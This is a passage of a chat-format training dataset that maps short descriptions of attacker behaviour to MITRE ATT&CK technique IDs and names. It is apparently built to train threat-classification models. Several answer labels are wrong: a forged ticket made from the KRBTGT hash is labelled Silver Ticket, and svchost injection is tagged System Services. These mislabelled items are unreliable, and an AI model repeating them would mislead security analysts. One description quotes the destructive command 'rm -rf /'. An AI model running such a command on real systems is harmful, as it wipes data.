                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT33 gains control of a VPS to host malicious documents that exploit vulnerable office software."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaced a legitimate signed executable with a malicious binary that fails code signature verification, using the invalid signature to masquerade as a trusted application."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used the 'arp -a' command combined with ping sweeps to map active devices and their services."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious .lnk files were placed in the common startup locations on both the current user and all users profiles."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the malware clears evidence by deleting recently created files in the user’s profile."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool is used to extract email address fields from the SAM database of compromised Windows machines."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages NTFS file system metadata to embed malicious scripts in the alternate data streams of documents."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan gains admin privileges and reads raw disk blocks to locate and extract credential files."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply‑chain compromise introduced a library that, when invoked, calls 'rm -rf /' on Linux hosts, destroying all data."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals employ SEO poisoning by posting fake reviews and articles that rank for popular queries, steering users to ransomware downloads."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker utilizes a pass-the-hash (PtH) attack to use stolen password hashes to gain unauthorized access to systems without needing the actual passwords."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changed the favicon of the website to a skull icon and added a pop‑up alert saying “Your site is hacked!”."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware abuses the setuid bit on a vulnerable binary to execute with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a scheduled task that periodically clears the mail queue and deletes all stored emails from the compromised mail server."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a rogue TFTP server and forces the target machine to download and execute a compromised bootloader before the OS loads."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion group leveraged compromised AWS credentials to place a backdoor executable into the victim's cloud storage bucket for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a malicious boot sector overwrite to load code before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group modifies the context of a suspended thread in Explorer.exe with SetThreadContext to redirect execution to their code."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware attempts to hijack the svchost.exe process by injecting code into a shared service host."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a malicious DLL as a network provider, capturing and altering authentication tokens before they reach the operating system."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a new launch daemon that executes a payload with root privileges whenever the system boots."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses Mimikatz to extract the NTLM hash of the KRBTGT account and creates a forged service ticket for the remote desktop service."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the PubPrn service to proxy a malicious script, achieving code execution without touching the registry."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script edited /etc/audit/audit.rules to delete rule 99, preventing file integrity monitoring."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs WHOIS queries on the victim's domain names to gather registration details, including registrant email and phone numbers."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged the Windows Command Shell to execute \"shutdown /r /t 0\" to force an immediate reboot."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries inject code that catches and discards SIGTERM and SIGINT events, allowing their malicious process to continue running unnoticed."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries disable or tamper with endpoint telemetry services, ensuring that alerts about credential dumping are never generated."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code performs a DNS TXT query to retrieve encoded configuration data, then resolves the address for the next payload."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits publicly accessible CLDAP servers, sending requests with the victim's IP, causing the servers to flood the victim with amplified replies."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates objects in a storage bucket to find credential files and private keys."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows API ZwCreateTransaction, the malware injects malicious payload into a newly created process, achieving code execution via Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a malicious DLL into the Windows System32 directory and registers it as a COM object."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the internal process list via ListPlanting to execute a remote code payload without creating a new process."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the post-exploitation phase, the attacker runs a batch file that uses the certutil command to import a malicious certificate, ensuring persistence through signed scheduled tasks."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary installs a malicious DLL that hooks the Windows GetMessage API to record every keystroke entered into graphical applications."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses automated tools to create low-quality web pages stuffed with targeted keywords, causing search engines to surface these pages when victims search for common software."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An observed malware sample uses a self‑extracting packed installer to deliver the payload covertly."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a man-in-the-middle attack on the authentication flow, capturing and replaying MFA tokens to authenticate as the victim."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group enumerates trust relationships in the victim’s Active Directory to identify additional footholds."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects a malicious path into the system's global environment variables via Group Policy Preferences, ensuring all users execute the malicious program first."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encodes stolen files with Base64 before sending them over HTTP to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a phishing campaign, the attacker embeds a Right-to-Left Override character in the displayed link text, causing the URL to look legitimate while it actually points to a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use credential dumping from a compromised serverless function to harvest API keys for further attacks."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a virtual private server by exploiting an unpatched web application on the VPS, then use it to host C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers scraped LinkedIn and corporate websites to collect employee names, job titles, and contact information for future spear‑phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor gains access to the device's ROMMON prompt and installs a backdoored firmware via the T1542.004 technique."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script runs Get-ItemProperty on HKLM:\\Software\\Wow6432Node to collect a list of client applications and their versions."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script queried the SMB and RPC services across the subnet to compile a list of active services."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses a USB dongle with pre‑installed malware to pivot from an air‑gapped environment to the corporate network."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware deploys a VNC payload to the target machine, allowing the attacker to view and manipulate the desktop over the network."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group exploits a forgotten domain renewal and re-registers the domain to serve malicious updates to the victim's software."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs SNMP walks across the target subnet to discover routers and switches, building a map of the internal network layout."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the Windows authentication chain by placing a rogue password filter DLL, enabling the theft of credentials during password validation."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder searches open technical databases of CDNs for cached copies of internal web pages that reveal network topology."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses the 'driverquery /v' command to list all installed device drivers on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromised the software vendor’s build system, inserting malicious code into a legitimate Windows update that was then distributed to thousands of customers."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Golden Ticket technique, the adversary also demonstrates the ability to generate silver tickets for specific services, limiting the scope of their compromise."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use remote file copy commands to upload malicious payloads to compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new registry key under HKCU\\Software\\Microsoft\\Office\\Word\\Addins to load a malicious DLL on launch."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account was used to log into the Kubernetes web dashboard, allowing the attacker to list pods and secrets."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves updating kernel socket filter tables to prioritize attacker traffic over legitimate network flows."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a fake login prompt that convinces the user to enter credentials and execute a credential‑stealing tool."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses the Set-GPRegistryValue cmdlet to insert a malicious DLL path into a computer policy."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team modifies the GPO to set a custom .scr file pointing to a ransomware dropper, executing on screensaver start."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor queries Linux syslog using grep to find entries related to sudo usage."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary corrupts critical configuration files for the web server, causing it to crash on start."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan captures screenshots and sends them via encrypted HTTP POST requests to a remote exfiltration endpoint."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat software sends data to a malicious web endpoint via covert HTTP requests, ensuring the communication remains one-directional."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries generate forged SAML assertions that allow them to impersonate legitimate users and access protected web resources."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries load a malicious DLL into the Windows Terminal Services process (svchost.exe) to execute code on the remote host."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool captures screenshots of the user's desktop every 5 minutes."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes a credential dumper that targets the password repository of LastPass to retrieve user passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script communicates with a remote web service, posting base64‑encoded system information and polling the same endpoint for new instructions."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Content injection occurs when a malicious actor adds an external script tag to a site’s header through a vulnerable API."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
